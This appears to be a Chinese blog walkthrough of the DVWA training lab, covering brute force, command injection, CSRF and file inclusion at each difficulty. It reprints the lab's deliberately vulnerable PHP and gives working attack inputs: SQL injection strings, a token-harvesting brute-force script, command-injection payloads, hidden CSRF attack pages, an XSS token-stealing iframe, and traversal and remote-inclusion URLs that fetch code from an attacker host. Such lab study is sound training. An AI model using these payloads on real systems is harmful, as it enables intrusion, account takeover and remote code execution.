DVWA实践

作者: JasonChiu17 | 来源:发表于2018-03-14 09:26 被阅读113次

    DVWA实践

    Web漏洞原理


    1. DVWA环境搭建

    Warmpserver+DVWA

    2. Brute Force(暴力破解)

    暴力破解指的是攻击者利用字典来穷举拆解出用户的账号和密码。

    2.1 Low

    代码:

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Get username
        $user = $_GET[ 'username' ];
    
        // Get password
        $pass = $_GET[ 'password' ];
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    服务器没有对user和password进行过滤处理,可能存在sql注入:
    username:admin' and 1=1 -- -
    password:123

    Screenshot-2018-3-12 Vulnerability Brute Force Damn Vulnerable Web Application (DVWA) v1 10 Development .png-54.2kBScreenshot-2018-3-12 Vulnerability Brute Force Damn Vulnerable Web Application (DVWA) v1 10 Development .png-54.2kB
    果然,登陆成功。
    利用Burpsuite爆破admin的密码为password:
    1.png-103.2kB1.png-103.2kB

    2.2 Medium

    代码:

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( 2 );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    对输入的username和password进行了过滤,基本可以防止sql注入
    (MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义:宽字符注入)

    • 宽字符注入
      条件:编码为GBK,函数mysql_real_escape_string或addslashes()
      原理:payload=%df%27,mysql_real_escape_string或addslashes() 函数转义单引号'(%27)之后变成%df%5c527(%df'),在GBK编码表中,df5c是一个宽字符,也就是“縗”,从而使单引号'逃脱了转义字符\,从而造成了注入。

    虽然我所用的MySQL版本比较新,不能用宽字符注入,但是依然可以用Burpsuite暴力破解:


    aaaa.png-95.7kBaaaa.png-95.7kB

    2.3 High

    代码:

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( rand( 0, 3 ) );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    对username和password进行了过滤,防止sql注入,同时加入了Anti-CSRF token,关键就是要拿到这个token再进行爆破:
    python脚本:

    from bs4 import BeautifulSoup
    from urllib import request
    url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php'
    header={'Host': '192.168.0.115',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Referer': 'http://192.168.0.115/dvwa/vulnerabilities/brute/index.php',
    'Cookie': 'security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7'}
    def gettoken(url,header):
        req=request.Request(url=url,headers=header)
        response=request.urlopen(req)
        page=response.read()
        soup=BeautifulSoup(page,"html.parser")
        user_token=soup.find('input',attrs={'name':'user_token'})['value']
        print(response.getcode(),len(page))
        return user_token
    user_token=gettoken(url,header)
    for line in open('E:/CTF/Dictionary/rkolin.txt'):
        url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php?username=admin&password='+line.strip()+'&Login=Login&user_token='+user_token
        print('admin',line.strip())
        user_token=gettoken(url=url,header=header)
    

    运行结果:

    200 5210
    admin password
    200 5402
    admin 123456789
    200 5262
    admin 1234567890
    200 5262
    admin a123456789
    200 5262
    admin 123456
    200 5262
    admin qq123456
    200 5262
    admin abc123456
    200 5262
    admin 123456789a
    200 5262
    admin WOAINI1314
    200 5262
    admin 12345678
    200 5262
    admin 11111111
    200 5262
    admin 123123123
    200 5262
    admin 88888888
    200 5262
    admin 111111111
    200 5262
    admin 147258369
    200 5262
    ...
    

    利用Burpsuite来查看运行结果更加直观(cmd设置代理:set http_proxy=127.0.0.1:8080,再在cmd中运行python脚本即可,取消代理设置只需要输入set http_proxy=

    ssss.png-185.9kBssss.png-185.9kB

    2.4 Impossible

    代码:

    <?php
    
    if( isset( $_POST[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Default values
        $total_failed_login = 3;
        $lockout_time       = 15;
        $account_locked     = false;
    
        // Check the database (Check user information)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // Check to see if the user has been locked out.
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // User locked out.  Note, using this method would allow for user enumeration!
            //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
    
            // Calculate when the user would be allowed to login again
            $last_login = strtotime( $row[ 'last_login' ] );
            $timeout    = $last_login + ($lockout_time * 60);
            $timenow    = time();
    
            /*
            print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
            print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
            print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
            */
    
            // Check to see if enough time has passed, if it hasn't locked the account
            if( $timenow < $timeout ) {
                $account_locked = true;
                // print "The account is locked<br />";
            }
        }
    
        // Check the database (if username matches the password)
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR);
        $data->bindParam( ':password', $pass, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // If its a valid login...
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
            // Get users details
            $avatar       = $row[ 'avatar' ];
            $failed_login = $row[ 'failed_login' ];
            $last_login   = $row[ 'last_login' ];
    
            // Login successful
            echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
            echo "<img src=\"{$avatar}\" />";
    
            // Had the account been locked out since last login?
            if( $failed_login >= $total_failed_login ) {
                echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
                echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
            }
    
            // Reset bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        } else {
            // Login failed
            sleep( rand( 2, 4 ) );
    
            // Give the user some feedback
            echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
    
            // Update bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        }
    
        // Set the last login time
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    加入了输错密码3次就15分钟后再试的防爆破保护机制。

    3. Command Injection(命令注入)

    命令注入漏洞指的是通过提交恶意构造的参数来破坏命令语句结构,如果没有对输入的字符进行限制和过滤,从而达到执行恶意命令的目的,获取服务器的信息。

    3.1 Low

    代码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    服务器对输入的内容没有做过滤,输入:127.0.0.1&&net user得到:


    Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-55.4kBScreenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-55.4kB

    3.2 Medium

    代码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    服务器只对'&&',';'进行了过滤,于是可以输入127.0.0.1&net user实现命令注入:

    • &和&&的区别
      &会执行两边,不管第一个是否成立,&&只会执行一边,如果第一个条件为假,则不会走第二个条件
    Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-55.5kBScreenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-55.5kB

    3.3 High

    代码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    服务器对多个字符进行了过滤,但是‘| ’左边是个空格,所以依然可以用|来实现命令注入:
    127.0.0.1|net user

    Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (2).png-36.9kBScreenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (2).png-36.9kB

    3.4 Impossible

    代码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    从上面可见,设置黑名单难免会有疏漏,找到可以绕过的方法,但是impossible是设置白名单,只允许IP:数字.数字.数字.数字的形式。

    4. Cross Site Request Forgery (CSRF,跨站请求伪造)

    跨站请求伪造指的是攻击者诱使客户机点击精心构造的恶意链接或者访问包含攻击代码的网页,从而利用客户机尚未失效的认证信息(如cookie)向服务器发送请求,完成转账,修改密码等非法操作。
    CSRF并没有盗取受害者的cookie,而是直接利用cookie。

    4.1 Low

    代码:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    
    • 构造攻击链接
      没有加入token验证,没有在请求包中添加限制,直接构造链接诱使客户端A点击即可修改密码:http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change#,csrf的关键是利用客户端A的cookie来向服务器B发送伪造请求,所以换了浏览器来点击这个链接,攻击就不会触发了。
    • 构造攻击页面(放在攻击者的服务器中)
      将攻击链接放到一个页面里,诱使客户端A访问这个页面。
    <img src="http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
    
    <h1>404<h1>
    
    <h2>file not found.<h2>
    

    测试:
    客户端A:虚拟机
    服务器B:192.168.0.115(正常的服务器)
    服务器C:192.168.0.102(攻击者的服务器)
    A访问192.168.0.102/csrf.html,触发了csrf攻击,密码被修改。

    asdf.png-6.5kBasdf.png-6.5kB

    4.2 Medium

    代码:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for the user
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Issue with passwords matching
                echo "<pre>Passwords did not match.</pre>";
            }
        }
        else {
            // Didn't come from a trusted source
            echo "<pre>That request didn't look correct.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])中查找了host在referer中出现的位置,说明host:192.168.0.115必须在referer中出现。
    尝试了一下用Modify headers添加了referer:192.168.0.115,成功绕过了限制,当然现实当中你是无法修改到客户端A的headers请求的

    GET /dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change HTTP/1.1
    Host: 192.168.0.115
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
    Referer: 192.168.0.115
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    asfdsf.png-10.6kBasfdsf.png-10.6kB
    所以,我们继续构造一个攻击页面(放在服务器C中)诱使客户端A点击,令页面名为:192.168.0.115.html,即可在referer中出现192.168.0.115了。
    <img src="http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
    
    <h1>404<h1>
    
    <h2>file not found.<h2>
    
    asdfg.png-6.6kBasdfg.png-6.6kB
    gadf.png-38.9kBgadf.png-38.9kB
    Accept:image/webp,image/*,*/*;q=0.8
    Accept-Encoding:gzip, deflate, sdch
    Accept-Language:zh-CN,zh;q=0.8
    Cache-Control:max-age=0
    Connection:keep-alive
    Cookie:security=low; PHPSESSID=5i5e7981afgjqbd8ve9i1r23d7
    Host:192.168.0.115
    Referer:http://192.168.0.102/192.168.0.115.html
    User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36
    

    4.3 High

    代码:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    服务器添加了anti CSRF-token,需要验证token才能更改密码。同样的思路,构造攻击页面放在攻击者的服务器中,页面中写入脚本来获取客户端A的token。

    • 但是涉及到同源策略:
    1. 同源:两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
    2. 因为C:192.168.0.102,B:192.168.0.115,虽然两者协议都是http,端口没指定,但是两者不是同一个域名(IP),则不同源。
    3. 服务器C中的脚本不能用来请求获取服务器B中的内容,值得注意的是,同源策略限制的是脚本嵌入的文本来源,而不是脚本本身,以此来防止恶意脚本读取内容。

    这里可以结合XSS来获取用户的token,XSS+CSRF达到修改用户密码的目的。
    在可以注入XSS的页面中,
    输入:<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>,
    意思是打开http://192.168.0.115/dvwa/vulnerabilities/csrf/,
    并且执行语句alert(frames[0].document.getElementsByName('user_token')[0].value)>,
    此时得到token,再结合CSRF,将token放入构造的链接里,诱使用户点击页面,触发链接,从而达到修改密码的目的。

    asfd.png-88.1kBasfd.png-88.1kB

    4.4 Impossible

    代码:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_curr = $_GET[ 'password_current' ];
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Sanitise current password input
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_curr = md5( $pass_curr );
    
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();
    
        // Do both new passwords match and does the current password match the user?
        if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
            // It does!
            $pass_new = stripslashes( $pass_new );
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database with new password
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match or current password incorrect.</pre>";
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    要求输入原始密码,在不知道原始密码的情况下,攻击者很难修改密码。

    5. File Inclusion(文件包含)

    文件包含漏洞指的是服务器开启了allow_url_include选项,可以利用php的某些函数如include(),require()在url中动态包含文件,如果此时没有对url中的参数进行过滤或者存在可以绕过的漏洞或者没有对文件来源进行限制,就会造成了任意文件读取和任意命令执行的漏洞,文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)。

    5.1 Low

    代码:

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    ?> 
    

    对传入的page参数什么都没过滤

    • 本地文件包含(LFI):可以造成任意文件读取和任意命令执行
      任意命令执行的话,需要结合文件上传漏洞,上传一句话木马文件,通过本地文件包含来执行木马文件。

    http://192.168.0.115/dvwa/vulnerabilities/fi/?page=../../phpinfo.php

    hsbfj.png-24.8kBhsbfj.png-24.8kB
    • 远程文件包含(RFI):可以造成任意命令执行
      前提是服务器B的php配置中,选项allow_url_fopen与allow_url_include为On。
      http://192.168.0.115/dvwa/vulnerabilities/fi/?page=http://192.168.0.102/phpinfo.php
      放在攻击者的服务器C(192.168.0.102)中的页面:
    <?php
    phpinfo();
    ?>
    
    adgda.png-23.9kBadgda.png-23.9kB

    5.2 Medium

    代码:

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file );
    
    ?> 
    

    对page参数过滤了"http://", "https://","../", "..\"",用的是str_replace来过滤,可以双写来绕过。

    • LFI

    http://192.168.0.115/dvwa/vulnerabilities/fi/?page=..././..././phpinfo.php

    gsfhsd.png-25.8kBgsfhsd.png-25.8kB
    • RFI

    http://192.168.0.115/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.0.102/phpinfo.php

    h fghdfh.png-23.9kBh fghdfh.png-23.9kB

    5.3 High

    代码:

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) { #匹配以file开头的参数,并且不能有include.php字符
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 
    

    规定了要以file为开头,可以利用file协议来读取文件,但是要用物理地址。

    • 任意文件读取

    http://192.168.0.115/dvwa/vulnerabilities/fi/?page=file:///C:/wamp/www/dvwa/phpinfo.php

    fags.png-26kBfags.png-26kB
    • 任意命令执行
      配合文件上传,上传一个含有我们想要执行的命令的文件到服务器中,通过读取上传的文件从而达到执行任意命令的目的。

    5.4 Impossible

    代码:

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Only allow include.php or file{1..3}.php
